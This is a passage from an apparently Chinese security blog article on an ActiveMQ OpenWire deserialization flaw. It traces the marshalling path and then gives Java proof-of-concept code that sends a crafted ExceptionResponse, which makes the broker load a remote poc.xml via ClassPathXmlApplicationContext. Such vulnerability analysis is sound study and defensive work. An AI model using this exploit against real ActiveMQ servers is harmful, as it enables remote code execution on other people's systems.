style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">和</span><span style="font-variant: normal;text-transform: none;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">looseUnmarsalThrowable()</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">；<br/>

 </span><span style="mso-bookmark:images_1698629171755_png;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-backh="162" data-backw="578" data-imgfileid="100004468" data-ratio="0.2806004618937644" width="601.7100219726562" data-type="png" data-w="866" height="168.8399658203125" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=db3f0972&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57PxGhERDAdXuR3IxFTa7AQxNXFdhjehNUCUJ5IsPemNpFy4f0CXCwB3c7JJpjaTv6TIdz8mUFoK0g%2F640%3Fwx_fmt%3Dpng"/></span></span><span style="mso-bookmark:images_1698629171755_png;"></span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"></span></p><p style="margin-top: 18.372pt;margin-bottom: 18.372pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 13.5pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;"><span style="background-color: transparent;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">以 </span><span style="font-variant: normal;text-transform: none;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);letter-spacing: 0.544px;"></span><span style="background-color: transparent;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">ExceptionResponseMarshaller </span><span style="background-color: transparent;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">为例，其中的这两个方法是对 </span><span style="background-color: transparent;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">ExceptionResponse </span><span style="background-color: transparent;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">对象进行序列化、反序列化操作，当处理 </span><span style="background-color: transparent;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">ExceptionResponse </span><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">类型消息时就会触发 </span><span style="background-color: transparent;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">ExceptionResponseMarshaller </span><span style="background-color: transparent;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">中的方法。</span></p><p style="mso-style-name: &#39;Para 00&#39;;margin-top: 18.372pt;mso-para-margin-top: 1.0gd;margin-bottom: 18.372pt;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;background: transparent;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">在发送消息的时候，会将消息类型对象作为参数传递给</span><span style="font-variant: normal;text-transform: none;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">ActiveMQConnection.syncSendPacket()</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">，一直传递到</span><span style="font-variant: normal;text-transform: none;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">TcpTransport.oneway()</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">，调用哪个</span><span style="font-variant: normal;text-transform: none;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">oneway()</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">是由</span><span style="font-variant: normal;text-transform: none;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">this.transport</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">变量决定的；</span><span style="mso-bookmark:images_1698804580216_png;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-backh="403" data-backw="578" data-imgfileid="100004470" data-ratio="0.6972222222222222" width="601.7100219726562" data-type="png" data-w="1080" height="419.3699951171875" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=64bbab31&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57PxGhERDAdXuR3IxFTa7AQxuBtHGnDORiaUQG69By6rC22dMEoOqAiaDXzic66QNgJ3CfOLIEXWIIUcQ%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="mso-style-name: &#39;Para 00&#39;;margin-top: 18.372pt;mso-para-margin-top: 1.0gd;margin-bottom: 18.372pt;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;background: transparent;"><span style="font-size: 13.5pt;text-indent: 0pt;letter-spacing: 0.034em;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">然后调用</span><span style="font-variant: normal;text-transform: none;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">OpenWireFormat.marshal()</span><span style="font-size: 13.5pt;text-indent: 0pt;letter-spacing: 0.034em;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">进行序列化，这里会根据</span><span style="font-variant: normal;text-transform: none;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">type</span><span style="font-size: 13.5pt;text-indent: 0pt;letter-spacing: 0.034em;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">的值来选择处理器的类型；</span></p><p style="margin-top: 18.372pt;margin-bottom: 18.372pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 13.5pt;font-family: &#34;Helvetica Neue&#34;;font-weight: normal;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;"><span style="color: rgb(47, 47, 47);background-color: transparent;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">

 而</span><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);font-variant: normal;text-transform: none;font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;">type</span><span style="color: rgb(47, 47, 47);background-color: transparent;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">的值是跟收到的消息类型有关，这里消息类型是 </span><span style="color: rgb(47, 47, 47);background-color: transparent;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">ObjectMessage </span><span style="color: rgb(47, 47, 47);background-color: transparent;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">，对应 </span><span style="color: rgb(47, 47, 47);background-color: transparent;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">ActiveMQObjectMessage，</span><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);font-variant: normal;text-transform: none;font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;">type</span><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;"><span style="color:#2f2f2f;">值为26，那么调用的就是 </span></span><span style="color: rgb(47, 47, 47);background-color: transparent;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">ActiveMQObjectMessageMarshaller </span><span style="color: rgb(47, 47, 47);background-color: transparent;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">。<br/>

 </span><span style="color:#2f2f2f;"></span><span style="color: rgb(47, 47, 47);background-color: transparent;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-backh="377" data-backw="578" data-imgfileid="100004472" data-ratio="0.6527777777777778" width="601.7100219726562" data-type="png" data-w="1080" height="392.60003662109375" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=0862de75&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57PxGhERDAdXuR3IxFTa7AQxNsnDh3RS7EKZqGCCxB0ECYrP0cBUVtS7Bkv5ticoU1RIo5zUsKKFeUw%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="mso-style-name: &#39;Para 00&#39;;margin-top: 18.372pt;mso-para-margin-top: 1.0gd;margin-bottom: 18.372pt;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;background: transparent;"><span style="font-size: 13.5pt;text-indent: 0pt;letter-spacing: 0.034em;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">然后在处理消息的时候会调用到</span><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);font-variant: normal;text-transform: none;font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;">OpenWireFormat.doUnmarshal()</span><span style="font-size: 13.5pt;text-indent: 0pt;letter-spacing: 0.034em;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">进行反序列化，这里原理和序列化时一样。</span></p><p style="mso-style-name: &#39;Para 00&#39;;margin-top: 18.372pt;mso-para-margin-top: 1.0gd;margin-bottom: 18.372pt;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;background: transparent;"><span style="mso-bookmark:images_1698634052208_png;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-backh="322" data-backw="578" data-imgfileid="100004471" data-ratio="0.5564814814814815" width="601.7100219726562" data-type="png" data-w="1080" height="335.1099853515625" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=814552c9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57PxGhERDAdXuR3IxFTa7AQxaKRTLPOsPUP2tEnkJgpX4FQF9Xdq21ichDiaEqaAtRktftTAkibcSr76Q%2F640%3Fwx_fmt%3Dpng"/></span></span><span style="mso-bookmark:images_1698634052208_png;"></span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"></span></p><p style="mso-style-name: &#39;Para 00&#39;;margin-top: 18.372pt;mso-para-margin-top: 1.0gd;margin-bottom: 18.372pt;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;background: transparent;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">所以目的就是要构造一个 </span><span style="color: rgb(47, 47, 47);background-color: transparent;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">ExceptionResponse</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">、</span><span style="color: rgb(47, 47, 47);background-color: transparent;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">ConnectionError </span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">或 </span><span style="color: rgb(47, 47, 47);background-color: transparent;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">MessageAck </span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">类型的消息。</span></p><p style="margin-top: 18.372pt;margin-bottom: 18.372pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: 28.8pt;font-size: 24pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;break-before: auto;"><span style="text-indent: 0pt;color: rgb(6, 153, 7);font-family: &#34;Helvetica Neue&#34;;font-size: 29.3333px;font-weight: 700;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);text-decoration: underline;">4. 漏洞复现</span></p><p style="mso-style-name: &#39;Para 00&#39;;margin-top: 18.372pt;mso-para-margin-top: 1.0gd;margin-bottom: 18.372pt;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;background: transparent;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">new 一个 </span><span style="color: rgb(47, 47, 47);background-color: transparent;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">ExceptionResponse </span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">类型对象，给它抛出一个 </span><span style="color: rgb(47, 47, 47);background-color: transparent;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">ClassPathXmlApplicationContext </span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">异常，使其从指定路径加载恶意代码；<br/>

 然后直接调用</span><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);font-variant: normal;text-transform: none;font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;">ActiveMQSession.syncSendPacket()</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">，将 </span><span style="color: rgb(47, 47, 47);background-color: transparent;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">ExceptionResponse </span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">消息作为参数发送给 ActiveMQ 服务器，即可触发。</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">ActiveMQDemo</span> </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">main</span><span class="code-snippet__params">(String[] args)</span> <span class="code-snippet__keyword">throws</span> Exception </span>{</span></code><code><span class="code-snippet_outer">        ConnectionFactory connectionFactory = <span class="code-snippet__keyword">new</span> ActiveMQConnectionFactory(<span class="code-snippet__string">&#34;tcp://localhost:61616&#34;</span>);</span></code><code><span class="code-snippet_outer">        Connection connection = connectionFactory.createConnection();</span></code><code><span class="code-snippet_outer">        connection.start();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        ActiveMQSession session = (ActiveMQSession) connection.createSession();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        ExceptionResponse exceptionResponse = <span class="code-snippet__keyword">new</span> ExceptionResponse();</span></code><code><span class="code-snippet_outer">        exceptionResponse.setException(<span class="code-snippet__keyword">new</span> ClassPathXmlApplicationContext(<span class="code-snippet__string">&#34;<a href="http://127.0.0.1:8081/poc.xml" target="_blank">http://127.0.0.1:8081/poc.xml</a>&#34;</span>));</span></code><code><span class="code-snippet_outer">        session.syncSendPacket(exceptionResponse);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        connection.close();</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="mso-style-name: &#39;Para 00&#39;;margin-top: 18.372pt;mso-para-margin-top: 1.0gd;margin-bottom: 18.372pt;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;background: transparent;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">需要重新定义</span><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);font-variant: normal;text-transform: none;font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;">org.springframework.context.support.ClassPathXmlApplicationContext</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">，使其继承 </span><span style="color: rgb(47, 47, 47);background-color: transparent;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">Throwable</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">。</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">package</span> org.springframework.context.support;</span></code><code><span class="code-snippet_outer">       </span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">ClassPathXmlApplicationContext</span> <span class="code-snippet__keyword">extends</span> <span class="code-snippet__title">Throwable</span></span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> String message;</span></code><code><span class="code-snippet_outer">       </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__title">ClassPathXmlApplicationContext</span><span class="code-snippet__params">(String message)</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.message = message;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__meta">@Override</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> String <span class="code-snippet__title">getMessage</span><span class="code-snippet__params">()</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> message;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="mso-style-name: &#39;0 Block&#39;;mso-style-parent: &#39;&#39;;margin-top: 18.372pt;mso-para-margin-top: 1.0gd;margin-bottom: 18.372pt;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: 12.0pt;mso-pagination: widow-orphan;font-size: 11.0pt;font-family: Times New Roman;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 等距更纱黑体 SC;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="color: rgb(153, 153, 153);font-family: &#34;Helvetica Neue&#34;;font-size: 13.5pt;text-align: center;text-indent: 0pt;letter-spacing: 0.034em;"><span style="color: rgb(47, 47, 47);font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;"><img class="rich_pages wxw-img" data-backh="131" data-backw="578" data-imgfileid="100004469" data-ratio="0.22634508348794063" width="601.7100219726562" data-type="png" data-w="1078" height="136.19000244140625" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=8d9e02fe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57PxGhERDAdXuR3IxFTa7AQxuVIo7QGicuGYGKVzKbl6nD0I2FCnBlRibAaicrZ8pW2I6NTeP87vUh7nw%2F640%3Fwx_fmt%3Dpng"/></span></span><span style="font-family: &#34;Helvetica Neue&#34;;font-size: 13.5pt;text-align: center;text-indent: 0pt;letter-spacing: 0.034em;color: rgb(47, 47, 47);font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;"></span></p><p style="mso-style-name: &#39;0 Block&#39;;mso-style-parent: &#39;&#39;;margin-top: 18.372pt;mso-para-margin-top: 1.0gd;margin-bottom: 18.372pt;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: 12.0pt;mso-pagination: widow-orphan;font-size: 11.0pt;font-family: Times New Roman;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 等距更纱黑体 SC;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="color: rgb(47, 47, 47);font-family: &#34;Helvetica Neue&#34;;font-size: 13.5pt;text-indent: 0pt;letter-spacing: 0.034em;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">或者直接调用</span><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);font-variant: normal;text-transform: none;font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;">oneway()</span><span style="color: rgb(47, 47, 47);font-family: &#34;Helvetica Neue&#34;;font-size: 13.5pt;text-indent: 0pt;letter-spacing: 0.034em;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">方法，将消息对象作为参数传给他。</span></p><section style="margin-top: 18.372pt;margin-bottom: 18.372pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 11pt;font-family: &#34;Times New Roman&#34;;font-weight: normal;line-height: 1.6em;"><span style="color: rgb(47, 47, 47);font-family: &#34;Helvetica Neue&#34;;font-size: 13.5pt;text-indent: 0pt;letter-spacing: 0.034em;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">前面说了，</span><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);font-variant: normal;text-transform: none;font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;">oneway()</span><span style="color: rgb(47, 47, 47);font-family: &#34;Helvetica Neue&#34;;font-size: 13.5pt;text-indent: 0pt;letter-spacing: 0.034em;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">方法的选择是跟</span><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);font-variant: normal;text-transform: none;font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;">this.transport</span><span style="color: rgb(47, 47, 47);font-family: &#34;Helvetica Neue&#34;;font-size: 13.5pt;text-indent: 0pt;letter-spacing: 0.034em;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">有关，而</span><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);font-variant: normal;text-transform: none;font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;">Avti</span><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);font-variant: normal;text-transform: none;font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;">veMQObjectMessage.getTransportChannel()</span><span style="color: rgb(47, 47, 47);font-family: &#34;Helvetica Neue&#34;;font-size: 13.5pt;text-indent: 0pt;letter-spacing: 0.034em;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">方法就是获取当前的</span><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);font-variant: normal;text-transform: none;font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;">this.transport</span><span style="color: rgb(47, 47, 47);font-family: &#34;Helvetica Neue&#34;;font-size: 13.5pt;text-indent: 0pt;letter-spacing: 0.034em;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">；</span></section><p style="mso-style-name: &#39;Para 00&#39;;margin-top: 18.372pt;mso-para-margin-top: 1.0gd;margin-bottom: 18.372pt;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;background: transparent;"><span style="mso-bookmark:images_1698805349205_png;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-backh="96" data-backw="395" data-imgfileid="100004473" data-ratio="0.2430379746835443" width="395.010009765625" data-type="png" data-w="395" height="95.99996948242188" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=b251581a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57PxGhERDAdXuR3IxFTa7AQxqztbefEF5LHrQgpycu5wUCqtqmjV59KicmzdQXUpKLSmiaBZWicKQEZ1g%2F640%3Fwx_fmt%3Dpng"/></span></span><span style="mso-bookmark:images_1698805349205_png;"></span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"></span></p><p style="mso-style-name: &#39;Para 00&#39;;margin-top: 18.372pt;mso-para-margin-top: 1.0gd;margin-bottom: 18.372pt;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;background: transparent;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">new 一个 </span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">ExceptionResponse </span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">类型对象，同样给它抛出 </span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">ClassPathXmlApplicationContext </span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">异常。</span></p><section class="code-snippet__fix 